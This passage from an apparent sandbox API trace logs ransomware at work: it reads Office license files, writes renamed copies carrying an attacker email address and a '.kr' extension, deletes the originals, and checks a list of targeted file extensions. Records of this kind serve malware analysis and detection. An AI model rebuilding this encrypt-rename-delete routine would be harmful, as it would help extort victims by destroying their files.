hTemplateFile=0x0) returned 0x474 [0216.073] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=10639) returned 1 [0216.073] CloseHandle (hObject=0x474) returned 1 [0216.073] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms")) returned 0x220 [0216.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.074] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.074] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.075] GetLastError () returned 0x0 [0216.075] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x298f, lpOverlapped=0x0) returned 1 [0216.077] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2990, lpOverlapped=0x0) returned 1 [0216.077] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.078] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x108, lpOverlapped=0x0) returned 1 [0216.078] SetEndOfFile (hFile=0x568) returned 1 [0216.078] CloseHandle (hObject=0x568) returned 1 [0216.078] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.078] SetEndOfFile (hFile=0x474) returned 1 [0216.081] CloseHandle (hObject=0x474) returned 1 [0216.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-pl.xrm-ms")) returned 1 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.082] lstrlenW (lpString=".doc") returned 4 [0216.082] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.082] lstrlenW (lpString=".docx") returned 5 [0216.082] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.082] lstrlenW (lpString=".pdf") returned 4 [0216.082] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".xls") returned 4 [0216.083] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".xlsx") returned 5 [0216.083] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.083] lstrlenW (lpString=".ppt") returned 4 [0216.083] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.083] lstrlenW (lpString=".zip") returned 4 [0216.083] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".rar") returned 4 [0216.083] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".bz2") returned 4 [0216.083] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".7z") returned 3 [0216.083] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.083] lstrlenW (lpString=".dbf") returned 4 [0216.083] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.083] lstrlenW (lpString=".1cd") returned 4 [0216.083] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.083] lstrlenW (lpString=".jpg") returned 4 [0216.083] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.083] lstrlenW (lpString=".doc") returned 4 [0216.083] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".docx") returned 5 [0216.083] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.083] lstrlenW (lpString=".pdf") returned 4 [0216.083] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.083] lstrlenW (lpString=".xls") returned 4 [0216.084] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString=".xlsx") returned 5 [0216.084] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.084] lstrlenW (lpString=".ppt") returned 4 [0216.084] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.084] lstrlenW (lpString=".zip") returned 4 [0216.084] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString=".rar") returned 4 [0216.084] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString=".bz2") returned 4 [0216.084] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString=".7z") returned 3 [0216.084] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.084] lstrlenW (lpString=".dbf") returned 4 [0216.084] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.084] lstrlenW (lpString=".1cd") returned 4 [0216.084] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-pl.xrm-ms") returned 76 [0216.084] lstrlenW (lpString=".jpg") returned 4 [0216.084] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.084] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.085] lstrlenW (lpString="ProjectProVL_MAK-ppd.xrm-ms") returned 27 [0216.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.085] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=6801) returned 1 [0216.085] CloseHandle (hObject=0x474) returned 1 [0216.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms")) returned 0x220 [0216.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.086] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.086] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.087] GetLastError () returned 0x0 [0216.087] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x1a91, lpOverlapped=0x0) returned 1 [0216.088] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x1aa0, lpOverlapped=0x0) returned 1 [0216.089] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.089] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0216.090] SetEndOfFile (hFile=0x568) returned 1 [0216.090] CloseHandle (hObject=0x568) returned 1 [0216.090] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.090] SetEndOfFile (hFile=0x474) returned 1 [0216.092] CloseHandle (hObject=0x474) returned 1 [0216.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ppd.xrm-ms")) returned 1 [0216.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString=".doc") returned 4 [0216.094] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString=".docx") returned 5 [0216.094] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.094] lstrlenW (lpString=".pdf") returned 4 [0216.094] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString=".xls") returned 4 [0216.094] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString=".xlsx") returned 5 [0216.094] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.094] lstrlenW (lpString=".ppt") returned 4 [0216.094] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString=".zip") returned 4 [0216.094] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString=".rar") returned 4 [0216.094] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString=".bz2") returned 4 [0216.094] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString=".7z") returned 3 [0216.094] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString=".dbf") returned 4 [0216.094] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString=".1cd") returned 4 [0216.094] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString=".jpg") returned 4 [0216.094] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.095] lstrlenW (lpString=".doc") returned 4 [0216.095] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString=".docx") returned 5 [0216.095] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.095] lstrlenW (lpString=".pdf") returned 4 [0216.095] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString=".xls") returned 4 [0216.095] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString=".xlsx") returned 5 [0216.095] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.095] lstrlenW (lpString=".ppt") returned 4 [0216.095] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.095] lstrlenW (lpString=".zip") returned 4 [0216.095] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString=".rar") returned 4 [0216.095] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString=".bz2") returned 4 [0216.095] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString=".7z") returned 3 [0216.095] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.095] lstrlenW (lpString=".dbf") returned 4 [0216.095] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.095] lstrlenW (lpString=".1cd") returned 4 [0216.095] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ppd.xrm-ms") returned 77 [0216.095] lstrlenW (lpString=".jpg") returned 4 [0216.095] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.096] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.096] lstrlenW (lpString="ProjectProVL_MAK-ul-oob.xrm-ms") returned 30 [0216.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.096] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11601) returned 1 [0216.096] CloseHandle (hObject=0x474) returned 1 [0216.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms")) returned 0x220 [0216.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0216.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0216.097] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.097] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0216.098] GetLastError () returned 0x0 [0216.098] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d51, lpOverlapped=0x0) returned 1 [0216.386] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0216.387] ReadFile (in: hFile=0x474, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0216.387] WriteFile (in: hFile=0x568, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0216.387] SetEndOfFile (hFile=0x568) returned 1 [0216.388] CloseHandle (hObject=0x568) returned 1 [0216.388] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0216.388] SetEndOfFile (hFile=0x474) returned 1 [0216.390] CloseHandle (hObject=0x474) returned 1 [0216.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0216.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectprovl_mak-ul-oob.xrm-ms")) returned 1 [0216.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.392] lstrlenW (lpString=".doc") returned 4 [0216.392] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString=".docx") returned 5 [0216.392] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.392] lstrlenW (lpString=".pdf") returned 4 [0216.392] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString=".xls") returned 4 [0216.392] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString=".xlsx") returned 5 [0216.392] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.392] lstrlenW (lpString=".ppt") returned 4 [0216.392] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.392] lstrlenW (lpString=".zip") returned 4 [0216.392] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString=".rar") returned 4 [0216.392] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString=".bz2") returned 4 [0216.392] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString=".7z") returned 3 [0216.392] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.392] lstrlenW (lpString=".dbf") returned 4 [0216.392] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.392] lstrlenW (lpString=".1cd") returned 4 [0216.392] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.392] lstrlenW (lpString=".jpg") returned 4 [0216.392] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.393] lstrlenW (lpString=".doc") returned 4 [0216.393] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString=".docx") returned 5 [0216.393] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0216.393] lstrlenW (lpString=".pdf") returned 4 [0216.393] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString=".xls") returned 4 [0216.393] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString=".xlsx") returned 5 [0216.393] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0216.393] lstrlenW (lpString=".ppt") returned 4 [0216.393] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.393] lstrlenW (lpString=".zip") returned 4 [0216.393] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString=".rar") returned 4 [0216.393] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString=".bz2") returned 4 [0216.393] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString=".7z") returned 3 [0216.393] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0216.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.393] lstrlenW (lpString=".dbf") returned 4 [0216.393] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.393] lstrlenW (lpString=".1cd") returned 4 [0216.393] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0216.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProVL_MAK-ul-oob.xrm-ms") returned 80 [0216.393] lstrlenW (lpString=".jpg") returned 4 [0216.393] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0216.394] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0216.394] lstrlenW (lpString="ProjectStdCO365R_SubTrial-ppd.xrm-ms") returned 36 [0216.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 